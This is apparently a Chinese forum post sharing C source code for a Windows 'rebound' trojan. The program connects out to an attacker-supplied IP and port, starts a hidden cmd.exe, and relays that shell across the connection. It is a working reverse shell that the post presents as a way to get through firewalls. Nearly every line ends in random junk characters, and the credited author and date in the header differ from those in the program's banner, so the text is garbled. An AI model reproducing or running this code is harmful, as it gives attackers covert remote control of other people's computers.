这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^"x<)@X
*~2cG;B"e
/* ============================== Xwq]f:@V
Rebound port in Windows NT j;\[pg MR/
By wind,2006/7 d>|;f
===============================*/ q@l(Qol
#include m[:K"lZ
]2
#include ]-:6T0JuS
w2OsLi Sv
#pragma comment(lib,"wsock32.lib") Od{jt7 <j#
SkHYXe"]
void OutputShell(); {x{H$ f
SOCKET sClient; #{*LvI&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -Sz_mr
V_"f|[1
void main(int argc,char **argv) I^_NC&m
{ W`M6J}oG
WSADATA stWsaData; 9I.^LZ"
int nRet; yMxTfR
SOCKADDR_IN stSaiClient,stSaiServer; B!;+_%P76
"IFgRaP=
if(argc != 3) / t5p-
{ ]Blf9h7
printf("Useage:\n\rRebound DestIP DestPort\n"); 4h8*mMghs
return; bL`eiol6
} ? ?[g}>
z%sy$^v@vD
WSAStartup(MAKEWORD(2,2),&stWsaData); I[D8""U
M0w/wt|
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }mk>!B}=
y=Q!-~5|fF
stSaiClient.sin_family = AF_INET; E\M-k\cSj
stSaiClient.sin_port = htons(0); C:i|-te
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @i LIU}+
+,5-qm)Gh>
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rs]I
{ HBiBv-=,
printf("Bind Socket Failed!\n"); ho.(v;
return; a#[-*ou`
} VkZ.6kV
=Op+v"
stSaiServer.sin_family = AF_INET; (D7$$!}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #;Tz[0
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )`+YCCa6F
pe.QiMW{8
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `A)"%~
{ h<x4YB5Mj
printf("Connect Error!"); dRaO Gm)
return; 41Ve}%
} =\3Tv
OutputShell(); &<]<a_pw
} :iPym}CE
)9L/sKz
void OutputShell() QDTNx!WL
{ Kq)MTlP0g
char szBuff[1024]; KzO,*M
SECURITY_ATTRIBUTES stSecurityAttributes; j0mM>X HB
OSVERSIONINFO stOsversionInfo; lAi2,bz"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "G?Yrh
STARTUPINFO stStartupInfo; d
6t:hn
char *szShell; }dYBces
PROCESS_INFORMATION stProcessInformation; 2+Rv{%
unsigned long lBytesRead; }}r>
K}
FN^FvQ
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GP a`e
PaWr[ye
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $`J_:H%
stSecurityAttributes.lpSecurityDescriptor = 0; X}A'Cg0y
stSecurityAttributes.bInheritHandle = TRUE; t ^SzqB
V diJ>d[
/4irAG% Oj
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s?C&s|'.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @xAfZb2 E
Z`Z5sj 4{
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -{jdn%Y7CK
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &
,hr8
stStartupInfo.wShowWindow = SW_HIDE; YY5!_k
stStartupInfo.hStdInput = hReadPipe; A1i!F?X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DAO]uh{6
%)(Cp-b!
GetVersionEx(&stOsversionInfo); 3n;K!L%zMT
K8I$]M
switch(stOsversionInfo.dwPlatformId) 6'-As=iw
{ 1iBP,:>*
case 1: jZ*WN|FK?
szShell = "command.com"; s!B/WsK
break; ~O6\6$3b5E
default: nH-V{=**
szShell = "cmd.exe"; $XnPwOj
break; # Su~`]
} Zjh2{ :
cr;`Tl~}s
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,5Vt]#F5@
jp2Q9Z
send(sClient,szMsg,77,0); r'7LR
while(1) s^8u&y)3
{ j+IrqPKC^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Rl~T$
Ey
if(lBytesRead) 60>.ul2
{ Vu8,(A7D%O
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !wz/cM;
send(sClient,szBuff,lBytesRead,0); 3G}AH E4
} jeUUa-zR3
else b;cMl'
{ E%N2k|%8d_
lBytesRead=recv(sClient,szBuff,1024,0); <%?#AVU[
if(lBytesRead<=0) break; o4y']JSN
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~FU@wV^
} d^E [|w;
} 4,p;Km&
uBrMk
return; DGESba\2+
}